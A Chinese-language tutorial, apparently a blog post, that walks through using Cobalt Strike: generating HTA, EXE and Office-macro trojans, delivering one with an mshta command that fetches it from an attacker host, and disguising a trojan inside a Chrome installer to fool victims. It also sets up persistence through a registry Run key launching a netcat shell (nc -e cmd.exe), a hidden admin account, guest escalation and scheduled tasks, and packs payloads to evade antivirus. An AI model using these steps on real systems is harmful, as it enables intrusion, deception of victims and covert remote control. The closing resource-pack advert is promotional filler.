CobaltStrike 零基础实战:安装 + 使用 + 木马生成,小白从入门到精通
本文仅用于信息安全学习请遵守相关法律法规严禁用于非法途径。若观众因此作出任何危害网络安全的行为后果自负与本人无关。一、Cobalt Strike相关介绍1Cobalt Strike是什么?Cobalt Strike简称CS是一款专业的团队作战渗透测试工具包含客户端和服务端两个部分。它的主要功能是在已经取得攻击目标控制权后用于持久化、横向移动、流量隐藏以及数据窃取等操作。当在目标主机上成功执行了 CS 的 payload有效载荷/攻击模块/攻击方式时它会创建一个 Beacon即远程控制木马通过与 C2 服务器建立连接使攻击者能够远程控制被攻击主机并且获取所需信息。C2 是 Command Control server 的缩写也就是命令与控制服务器是被攻击主机与攻击者之间通信的中心节点。攻击者可以通过 C2 服务器下发指令、接收反馈并控制被攻击主机的行为实现渗透测试等各种目的。adscript拓展应用的脚本。c2lint用于检查 profile 的错误异常。teamserverCobalt Strike 的服务端程序用于在被攻击目标的主机上运行提供指令并控制被攻击主机。cobaltstrike、cobaltstrike.jarCobalt Strike 的客户端程序采用Java跨平台用于与服务端程序通信和交互完成渗透测试任务。logs记录与国标主机相关信息的目录对渗透测试过程中的追踪和分析非常有帮助。update.jar用于更新 Cobalt Strike 的工具。csthird-party存放第三方工具的目录。最核心的是 teamserver 和 cobaltstrike.jar分别代表了 Cobalt Strike 的服务端和客户端。服务端用于控制被攻击主机而客户端用于与服务端通信和执行渗透测试任务。其他工具和文件都是为了辅助和增强 Cobalt Strike 的功能。请记住在使用 Cobalt Strike 进行渗透测试时务必遵守法律法规并获得合法授权。2kali安装cobaltstrike在 cs4.0目录下新建终端然后运行服务端teamserver# 给予服务端程序teamserver 执行权限在linux中复制进来的文件默认是没有执行权限的 chmod x teamserver # 可以查看kali的IP地址可选 ifconfig eth0 # # 运行服务端程序192.168.0.104是本机IPuser 是要设置的连接密码可改 ./teamserver 192.168.0.104 user在 cs4.0目录下新建终端输入如下命令运行客户端程序java -Dfile.encodingUTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads4 -XX:AggressiveHeap -XX:UseParallelGC -jar cobaltstrike.jar新建配置文件连接CS服务器3常用功能链接到另外一个团队服务器在网络渗透测试和攻击中攻击者可能需要与其他团队服务器建立连接以获取进一步访问权限。断开服务器连接在网络渗透测试和攻击中攻击者可能需要断开与目标服务器的连接以避免被发现。查看所有监听器在网络渗透测试和攻击中攻击者可能会设置监听器以捕获目标系统上的流量或访问凭据。切换为pivot图[服务器节点]在网络渗透测试和攻击中攻击者可能会使用Pivot技术将攻击点从一个系统转移到另一个系统。切换为会话列表在网络渗透测试和攻击中攻击者可能会使用会话列表来管理已经建立的会话。切换为目标列表在网络渗透测试和攻击中攻击者可能会使用目标列表来管理攻击目标。查看凭据信息在网络渗透测试和攻击中攻击者可能会尝试获取目标系统上的账户凭据以获取更高的权限。查看下载文件在网络渗透测试和攻击中攻击者可能会尝试下载目标系统上的文件以获取敏感信息。查看键盘记录在网络渗透测试和攻击中攻击者可能会使用键盘记录器来获取目标系统上输入的信息。查看屏幕截图在网络渗透测试和攻击中攻击者可能会使用屏幕截图来获取目标系统上的敏感信息。生成stageless的exe木马文件在网络渗透测试和攻击中攻击者可能会使用stageless的exe木马文件来对目标系统进行攻击。设定java自签名applet程序攻击在网络渗透测试和攻击中攻击者可能会使用Java自签名applet程序攻击目标系统。生成恶意Office宏攻击在网络渗透测试和攻击中攻击者可能会使用恶意Office宏攻击目标系统。建立web delivery在网络渗透测试和攻击中攻击者可能会建立web delivery以向目标系统提供恶意代码。在web服务器上托管文件在网络渗透测试和攻击中攻击者可能会将恶意文件托管在web服务器上。管理在web服务器上的应用和文件在网络渗透测试和攻击中攻击者可能会管理托管在web服务器上的应用和文件。帮助提供帮助信息。关于显示关于该工具或软件的信息。4Cobaltstrike简介- 监听器 Listener1内部 beacon与外部beacon类似内部beacon是指潜伏在目标系统内部的小型程序或代码片段定期与命令和控制C2服务器进行通信以提供有关目标系统的信息或接收进一步的指令。内部beacon主要用于网络安全领域中进行威胁侦测和入侵检测。Beacon DNSBeacon DNS是指通过DNS协议进行通信的beacon。攻击者可以使用DNS流量来与受感染系统进行通信并通过DNS查询和响应中隐藏恶意指令或数据。Beacon HTTPBeacon HTTP是指通过HTTP协议进行通信的beacon。攻击者可以利用HTTP流量与受感染系统进行通信并通过HTTP请求和响应中传递恶意指令或数据。Beacon HTTPSBeacon HTTPS是指通过HTTPS协议进行通信的beacon。类似于Beacon HTTP攻击者使用加密的HTTPS流量与受感染系统进行通信以隐藏恶意活动并绕过网络安全设备的检测。Beacon SMBBeacon SMB是指通过Server Message BlockSMB协议进行通信的beacon。SMB协议常用于Windows网络共享和文件传输攻击者可以利用SMB流量与受感染系统进行通信并通过SMB命令和响应传递恶意指令或数据。Beacon TCPBeacon TCP是指通过TCP协议进行通信的beacon。攻击者可以使用TCP流量与受感染系统进行通信并在TCP连接中传递恶意指令或数据。2外部 beacon [与其他工具联合使用时会用到]在网络安全领域中指潜伏在目标系统中的小型程序或代码片段定期与命令和控制C2服务器进行通信以提供有关目标系统的信息或接收进一步的指令。外部beacon表示这个beacon程序与目标系统之外的其他工具或系统进行联合使用。Foreign HTTP使用HTTP协议进行跨域通信。在网络安全领域中攻击者可能会利用HTTP流量与受感染系统进行通信以绕过网络安全设备的检测并通过正常的HTTP流量传输被窃取的数据。Foreign HTTPS使用HTTPS协议进行跨域通信。HTTPS是一种加密的HTTP协议通过使用SSL/TLS加密技术来保护数据的机密性和完整性。攻击者可能使用HTTPS流量与受感染系统进行通信以隐藏恶意活动并绕过网络安全设备的检测。打开监听器配置创建一个新的监听器 - 填写监听器名称随便写不重复就行- 选择有效载荷/攻击模块/攻击方式添加HTTP主机添加要在开启监听的HTTP端口0-65535在这个取值范围中1023以下的端口已经分配给了常用的一些应用程序建议往大的填避免端口被占用重复– 最后保存即可5Cobaltstrike简介 - Attacks攻击Packages封装/生成后门HTML Application 生成htaHTML应用程序MS Office Macro 生成恶意宏放入 office 文件Payload Generator 生成各种语言版本的 payloadWindows Executable 可执行文件 默认x86 勾选x64表示生成×64Windows Executable(S) stageless生成全功能被控端Web Drive-byManage 管理当前 Team Server 开启的所有web服务Clone site克隆某网站Host File 在 Team Serve 的某端口提供Web以供下载某文件Scripted Web Delivery 为 payload 提供web服务以便于下载和执行System Profiler 用来获取系统信息系统版本、Flash版本、浏览器版本等二、攻击目标机器 - HTML Application生成htaHTML应用程序1生成hta文件 木马文件**最后在桌面上就能找到木马程序**2提供端口下载文件给受害者提供一个提供一个端口让他可以下载我们的木马文件http://192.168.0.104:10067/download/file.ext3靶机执行远程命令我这里开了一台win7虚拟机受害者访问木马连接注意win7虚拟机要和kali连接同一个网络不然两者无法通信测试win7和kali是否可以通信使用命令ping 目标IP地址kali的ip在win7的虚拟机的cmd中输入命令# 访问kali系统生成的木马文件这是最基本的上线方式 mshta http://192.168.0.104:10067/download/file.ext朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取三、攻击目标机器 - 操控目标机器当有目标主机以任何方式运行了生成的被控端出现在主机列表。选中要操作的目标主机-鼠标右键-进入beacon交互命令界面在此使用 Beacon Commands对目标主机执行各种操作。1获取到对方的cmd权限**sleep 0 # 设置beacon延迟时间为0毫秒默认是60秒也就是说60秒命令才会成效一次****也可以使用图形界面的方式更改延迟时间****shell ipconfig** **# 执行shell令如果是在windows系统的命令行中我们要查看IP配置直接ipconfig 就可以了但是在这里不行要在前面加上shell**2使用文件管理器3获取目标的远程桌面VNC4获取目标的进程5屏幕截图四、生成后门木马 - Windows ExecutableWindows可执行文件1生成可执行文件2. 捆绑软件这个木马文件别人一看都不知道这是啥都不会下载运行所以我们要把木马文件和其它软件的安装包捆绑起来让他们安装其它软件时就自动安装我们的木马用到的软件压缩软件WinRAR_5软件图标Restorator再准备一个谷歌的安装程序在网上随便搜一下就能下载用来捆绑木马创建自解压文件把木马文件捆绑都谷歌的安装程序上解压路径可以放到公用C:\Users\Public现在软件的图标和谷歌的不一样我们改一下图标打开Restorator成功捆绑软件最后受害者运行我们制作的谷歌安装程序我们在kali就能监听到运行我们制作的程序一样是可以安装谷歌所以一般人是不会怀疑的kali这边就能监听到3. 上传至目标机器通过 webshell上传、运行通过互联网传播、钓鱼五、生成后门木马 - Office 宏病毒1. 为文档添加宏打开您要添加宏的 Office 文件例如 test.docx。在菜单栏中选择 “视图”。在下拉菜单中选择 “宏”。在弹出的菜单中选择 “查看宏”。在弹出的对话框中选择宏的位置为 “当前文档”。在 “宏名” 输入框中输入您想要为宏命名的名称。点击 “创建” 按钮。将您的宏代码复制并粘贴到宏命令处。在保存时选择 “否” 并将文件另存为 .docm 格式。2. 上传至目标机器通过互联网邮箱、社交媒体、论坛传描诱导点击实现1创建Office 宏病毒 代码2创建一个docx文档在桌面新建DOCX 文档并打开前提你电脑没有安装WPS然后安装WPS的VB宏插件安装步骤一路下一步可以选择安装路径写一些内容最后保存文件六、攻击完成后的操作开机自启动每次启动登录时都会按顺序自动执行在Windows操作系统中当计算机启动时会自动运行注册表中的某些键值对以启动应用程序或服务。在您提供的示例中四个键都是用于控制在启动时应该运行哪些应用程序或服务。# 该键包含了当前用户登录到Windows时需要启动的应用程序或服务 HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run # 该键包含了计算机上任何用户登录时需要启动的应用程序或服务 HKEY_LOCAL_MACHINE\Software\Microsoft\windows\Currentversion\Run # 该键包含了当前用户登录到Windows时需要在资源管理器启动时运行的应用程序或服务 HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Policies\Explorer\Run # 该键包含了计算机上任何用户登录时需要在资源管理器启动时运行的应用程序或服务 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\Policies\Explorer\Run扩展知识注册表的 HKEY_LOCAL_MACHINE 和 HKEY_CURRENT_USER 键的区别HKEY_LOCAL_MACHINE键存储计算机上所有用户的配置信息而HKEY_CURRENT_USER键仅存储当前登录用户的配置信息。简单理解前者对所有用户有效 后者对只对当前用户有效1上传nc木马upload nc.exe C:\windows\system322查看自启动注册表项reg enumkey -k HKLM\software\microsoft\windows\currentversion\run该命令用于枚举注册表路径HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\Run下的所有子键。它将列出在系统启动时自动运行的程序的相关信息。请注意这是一个只读操作不会对注册表进行任何修改。3添加注册表开机启动nc并开启监听reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d C:\windows\system32\nc64.exe -Ldp 5555 -e cmd.exe请注意这是一条Windows注册表命令用于设置在系统启动时自动运行的程序。该命令将在注册表路径HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run下创建一个名为nc的值并将其数据设置为C:\windows\system32\nc64.exe -Ldp 5555 -e cmd.exe。4查看注册表指定项值reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc请注意这是一个用于查询注册表的命令。它将在注册表路径HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\Run下查询名为nc的值。5隐藏账户隐藏用户net user admin$ 123456 /add net localgroup administrators admin$ /add这个命令实际上是两个命令的组合用了运算符将它们连接起来。下面是每个命令的作用net user admin$ 123456 /add这个命令使用net user命令创建了一个名为admin$“的本地用户并将密码设置为123456”。net localgroup administrators admin$ /add这个命令使用net localgroup命令将admin$用户添加到administrators本地组中从而将该用户提升为管理员权限。因此这个命令的作用是创建一个名为admin$的本地用户并将其提升为管理员权限。需要注意的是这种做法可能会增加系统安全风险因为这个账户是一个隐藏账户如果被黑客攻击或者被恶意软件利用可能会给系统造成安全隐患。建议您在进行此类操作时要谨慎只在必要的情况下使用。6激活 Guest 用户来宾用户默认是没有激活的net user guest Adminhacker net localgroup administrators guest /add net user guest /active:yes这两个命令的作用如下net user guest Adminhacker net localgroup administrators guest /add这个命令首先尝试创建一个名为guest的用户密码为Adminhacker。如果这一步成功接着将这个guest用户添加到本地管理员组中使其具有管理员权限。但需要注意的是默认情况下Windows系统不允许将Guest用户添加到管理员组中因此这个命令可能在标准设置下无法成功执行。net user guest /active:yes这个命令尝试激活名为guest的用户账户使其处于激活状态可以登录系统使用。需要特别注意的是对系统默认的Guest用户进行这样的操作可能会带来严重的安全风险因为Guest账户通常具有较低的权限并且可能被黑客用来进行攻击。7计划任务schtasks /create /sc MINUTE /mo 1 /tn test /tr C:\Users\Administrator\Desktop\mx\5555.exe这个命令将会创建一个名为test的计划任务指定了每隔一分钟执行一次并且要运行的程序是C:\Users\Administrator\Desktop\mx\5555.exe。七、linux借助CrossC 上线 linux系统上线我们的木马我这里又安装了cs3.14又因为cs的版本要与CrossC2相对应才行搞了一天才发现这个问题CS3.14 ——CrossC2 -v2.1版本其他版本的对应关系可以自己尝试1开启cs3.14服务端与客户端 使用方式与上面介绍的CS4.0是一样的# 启动服务端 ./teamserver 192.168.1.3 root# 启动客户端 java -Dfile.encodingUTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads4 -XX:AggressiveHeap -XX:UseParallelGC -jar cobaltstrike.jar2下载linux插件CrossC2-v2.1打开GithubGitHub - gloxec/CrossC2: generate CobaltStrike’s cross-platform payload3生成linux木马方式一脚本的方式生成 genCrossC2.Linux# 运行脚本genCrossC2.Linux 系统类型、生成的文件名这里也可以写文件路径生成到指定的文件路径如tmp\c2 ./genCrossC2.Linux 监听器ip 监听器端口 null null Linux x64 C2方式二按道理来说会有个弹框弹框内会有个下载链接但是我这里没有反应我之前用3.1版本的插件就就是这样应该是cs与插件的版本不是很匹配不管了有一种方式生成木马辅助我们学习就好毕竟我们不是要做违法的事知道有这种方式就好。4有了木马之后要创建一个监听器这个插件只支持https的协议windows/beacon_https/reverse_https所以我们要创建https的监听器注意监听器的ip与端口要与刚才的木马文件相对应可以直接在当前的攻击机运行木马测试一下我这里的cs是安装的kali中的所以可以运行linux的木马文件kali成功上线5把木马拿到受害者主机运行# 赋予执行权限 chmod x 木马文件名杀毒软件会查杀我们的怎么办一招教你躲避火绒的探测加壳压缩壳、加密壳如Themida****使用示例打开软件然后耐心等待加密过程最后加密成功的界面如下之后就可以关闭软件了。然后可以复制到真实机上测试如何系统学习网络安全/黑客网络安全不是「速成黑客」而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时那种创造的快乐远胜于电影里的炫技。装上虚拟机从配置第一个Linux环境开始脚踏实地从基础命令学起相信你一定能成为一名合格的黑客。如果你还不知道从何开始我自己整理的282G的网络安全教程可以分享我也是一路自学走过来的很清楚小白前期学习的痛楚你要是没有方向还没有好的资源根本学不到东西下面是我整理的网安资源希望能帮到你。需要的话可以V扫描下方二维码联系领取~如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享1.从0到进阶主流攻防技术视频教程包含红蓝对抗、CTF、HW等技术点2.入门必看攻防技术书籍pdf书面上的技术书籍确实太多了这些是我精选出来的还有很多不在图里3.安装包/源码主要攻防会涉及到的工具安装包和项目源码防止你看到这连基础的工具都还没有4.面试试题/经验网络安全岗位面试经验总结谁学技术不是为了赚$呢找个好的岗位很重要需要的话可以V扫描下方二维码联系领取~因篇幅有限资料较为敏感仅展示部分资料添加上方即可获取如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享